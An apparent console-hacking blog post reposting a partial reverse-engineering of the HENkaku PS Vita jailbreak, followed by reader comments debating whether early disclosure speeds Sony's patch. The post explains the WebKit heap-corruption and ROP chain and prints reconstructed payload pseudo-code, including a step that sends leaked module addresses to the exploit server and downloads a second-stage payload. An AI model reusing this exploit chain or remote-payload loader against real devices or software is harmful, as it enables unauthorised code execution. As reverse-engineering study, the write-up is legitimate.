The HENkaku exploit partially reverse engineered and explained
A user by the mysterious name “H” dropped in our comments section earlier today to post a link to his explanations of the HENkaku exploit.
Reverse engineering HENkaku could lead to easier ways to create clones, and host the result on several sites. This would reduce problems such as this morning’s event where the official HENkaku site was taken down by a simple “attack”.
However, reverse engineering HENkaku might also help Sony patch the vulnerability sooner. I think the reverse engineering effort at this point is mostly for the intellectual challenge, as I would expect team molecule to ultimately release their source code, probably after Sony release a firmware update to patch the exploit. Let’s just call this my gut feeling.
I’m copy/pasting the explanation from “H” below, as pastebin stuff tends to be somewhat temporary. Please note that I have replaced urls with the old .xyz extension to the new official site url. Also note that several parts of the explanation at this point are slightly vague and probably assuming the reader is already trying to reverse engineer the code themselves, and looking for pointers.
User H states that the exploit is close to be fully reversed.

Stage 1 (browser exploit):
Visiting http://henkaku.me and pressing the “Install” button results in a server side useragent check.
If the browser’s useragent matches the one of a PS Vita/PSTV on the latest firmware version (3.60), the user is redirected to http://go.henkaku.me and an exploit is deployed.
This exploit re-uses elements from the older public exploits (heap spraying method, sort() bug, scrollLeft attribute manipulation) and pairs them with a new heap corruption technique.
Team molecule renamed variables and methods to provide a simple obfuscation layer on the HTML code.
You can find the partially reversed code (focusing on the most crucial portions) here: http://pastebin.com/bYA4xGaQ
Similarly to older exploits, this allows to corrupt an object’s vtable and achieve ROP inside the SceWebkit module.
Offsets for libraries and relevant ROP gadgets are fetched from a javascript file (http://go.henkaku.me/payload.js) during the last stage of the exploit.
Team molecule implemented a dynamic method to relocate gadgets and functions’ offsets for each module after their base addresses’ are found (by looking at SceWebkit’s import stubs).
Stage 2 (ROP payload 1):
At this stage, the browser exploit has layed out the memory space to start the first ROP payload which is reconstructed from the payload.js file.
The payload.js file contains two arrays, one containing the payload’s binary data and another containing the relocation type for each word.
By crossing this information the exploit reads the payload and relocates all code offsets to their target module’s address space by adding the module’s base address to them:
Relocation type 0 -> Plain data stored inside the ROP space itself. No relocation needed. Relocation type 1 -> Offset inside the ROP payload's stack. Relocation type 2 -> Offset inside the SceWebkit module. Relocation type 3 -> Offset inside the SceLibKernel module. Relocation type 4 -> Offset inside the SceLibc module. Relocation type 5 -> Offset inside the SceLibHttp module. Relocation type 6 -> Offset inside the SceNet(?) module. Relocation type 7 -> Offset inside the SceDriverUser(?) module.
The reconstructed payload can be find here: https://www.sendspace.com/file/mwpeut
And an analysis of the payload’s binary data can be found here: http://pastebin.com/gxc0cX1i
This payload is responsible for taking care of a few things like:
// Do stuff
...
// Create a new thread for the second payload
int thread_id = sceKernelCreateThread("st2", SceWebkit_base + 0x000054C8, 0x10000100, 0x00600000, 0x00000000, 0x00000000, 0x00000000);
// Do stuff
...
// Construct the arguments for fetching the second payload
strcpy(stack_base + 0x000000BC, "http://go.henkaku.me/x");
snprintf(stack_base + 0x000002C4, 0x00000100, "?a1=%x", stack_base);
strcpy(stack_base + 0x000000BC, stack_base + 0x000002C4);
snprintf(stack_base + 0x000002C4, 0x00000100, "&a2=%x&a3=%x&a4=%x&", SceWebkit_base, SceLibKernel_base, SceLibc_base);
strcpy(stack_base + 0x000000BC, stack_base + 0x000002C4);
snprintf(stack_base + 0x000002C4, 0x00000100, "&a5=%x&a6=%x&a7=%x&", SceLibHttp_base, SceNet_base, SceDriverUser_base);
strcpy(stack_base + 0x000000BC, stack_base + 0x000002C4);
// Do stuff
...
// Send HTTP requests to fetch the second payload
SceLibHttp_92fd(0x00010000);
int http_buf = SceLibHttp_947b("ldr", 0x00000002, 0x00000001);
SceLibHttp_950b(http_buf, stack_base + 0x000000BC, 0x00000000);
int http_req = SceLibHttp_95ff(http_buf, 0x00000000, stack_base + 0x000000BC);
SceLibHttp_9935(http_req, 0x00000000, 0x00000000);
SceLibHttp_9983(http_req);
// Do stuff
...
After the first payload is done, an HTTP request is sent to the server using the following template:
http://go.henkaku.me/x?a1=stack_base&a2=webkit_base&a3=libkernel_base&a4=libc_base&&a5=libhttp_base&a6=net_base&a7=driveruser_base&
Example:
http://go.henkaku.me/x?a1=89f02000&a2=81b009a0&a3=e000dd00&a4=811c0cc0&&a5=e0607c80&a6=e01302b0&a7=e0047bf0&
The “x” script on the server side collects the base addresses for each module and generates a second payload to be run on the Vita.
Stage 3 (ROP payload 2):
The second payload is composed by another ROP chain and obfuscated ARM code.
A preliminary analysis of this payload reveals a few interesting things:
strcpy(stack_base + 0x000086B4, "sdstor0:");
strcpy(stack_base + 0x000086CC, "xmc-lp-ign-userext");
// Do stuff
...
strcpy(stack_base + 0x000086E4, "molecule0:");
SceLibKernel_a4ad("molecule0:");
SceLibKernel_a55d("sdstor0:", 0x00000005, "xmc-lp-ign-userext", 0x00000014);
// Do stuff
...
int thread1_id = sceKernelCreateThread("pln", SceWebkit_base + 0x000054C8, 0x10000100, 0x00002000, 0x00000000, 0x000003FF, 0x00000000);
SceLibKernel_a791(thread1_id, 0x7C);
// Do stuff
...
int thread2_id = sceKernelCreateThread("mhm", SceWebkit_base + 0x000054C8, 0x10000100, 0x00002000, 0x00000000, 0x00000000, 0x00000000);
// Do stuff
...
SceNet_27E1("x", 0x00000002, 0x00000001);
SceNet_27E1("x", 0x00000002, 0x00000001);
SceNet_27E1("x", 0x00000002, 0x00000001);
SceNet_27E1("x", 0x00000002, 0x00000001);
SceNet_27E1("x", 0x00000002, 0x00000001);
// Do stuff
...
SceNet_27E1("sss", 0x00000002, 0x00000001);
SceNet_27E1("tst", 0x00000002, 0x00000007);
SceNet_27E1("tmp", 0x00000002, 0x00000001);
// Do stuff
...
To be continued…
~ H.
Ahhh, potato
Hahahahah I had the same reaction. I started off determined to make sense of the thing but shortly thereafter I was scrolling through the whole thing in frustration. I did manage to catch a couple of grammatical errors that made me feel better about my mundane self…
I think HENkaku was released by Sony…
Pfffft, good one
since I read that Henkaku was partly made possible by a vital information source right there anomie thought it was sony in an attempt to revive the vita unofficially
Nooo, not yet! Give it some time. After sony patches it, THEN go full hack on it. But for now just let it spread as far as it can… Don’t help them out
They already know. They probably knew half this and a bunch of other stuff the first time they ran it on their diagnostic equipment.
The patch is probably already done, but testing is what will take time.
Thanks guys! Patch coming out tomorrow!
Wow, you’re hilarious.
lulz
No one knows that you can read this topic… oops
Awesome to see all the recent news about progress on the Vita. I sold my Vita because it was just collecting dust, but if a native CFW came out I’d be tempted to get another one. No I’m not a pirate I pay for my games but tinkering with your device to see what you can make it do is a lot of fun.
I think it was a very bad idea disclosing this information so early. With this information handy, the devs that have made such great progress just shot the community in the foot. Sony now knows how to patch the bug, quicker than they normally would have known.
I agree. I was hoping that the finer details of the exploit would have been kept under wraps for awhile. The more information that gets divulged, the quicker Sony releases an update that patches Henkaku.
Although unlikely, I’m hoping that Sony just ignores Henkaku and doesn’t push out an update, like how Nintendo has not updated the Wii U since January, despite having exploits that enable piracy.
Then again, having these details could be beneficial to improving Henkaku, and its homebrew. But at the same time, it carries the risk of being patched sooner.
“Sony now knows how to patch the bug”
They have a team of security experts working full-time with a full access to all in and outs of the console random hackers can only dream of. They knew as much in mere hours after HENkaku went live, so all this info changes nothing for Sony. I’m sure FW3.61 is in already in beta testing right now.
All this does is allowing HENkaku to be ported to older firmwares easier, which is nothing but fantastic. Thank you very much, H.
Magic. Got it.
This could be a way to cfw hopefully.
Henkaku is dark Alex!!!
Base on same method. maybe can apply on PS4 as well with current system (without 1.76)?
So all they do is use a bunch of older exploits + the help of an anonymous source, but still dare to give themselves this stupid name and present themselves as the shining knight, including their pseudo *** look on piracy.
cough cough
ATTENTION ***
You make it sound way much easier than it actually is. Saying “reuse a bunch of older exploits” is like saying “wow, all you need to cook food is basic ingredients, and those people dare call themselves chefs just because they can mix and cook these ingredients?”
Got it.
I’m no coder but that wasn’t terribly hard to follow, can’t say I understood ALL of it but there’s some obvious things going on there. It’s amazing that across a handful of consoles a good WebKit implementation gets the exploit done (PS4, 3DS, Wii U, Vita).
Normal user now knows a bit more about the hack.
Sony knows everything about it. And patching it is easy for them.
Anyway the hype makes useful things happen, more consoles sold and more rubbish superexpensive memory cards for Vita too.
Sony sits and waits.
This actually helped me a lot in understanding the code – thx. The interesting part – the second payload – remains a mystery. H doesn’t know what the kernel functions calls are (apart from the create thread one). Also we need to know how the molecule shell is working on its own.
Here Stage 2: http://pastebin.com/Gi8TVT9t
Creates Kernel-Mode Thread that executes Stage 3 (encrypted)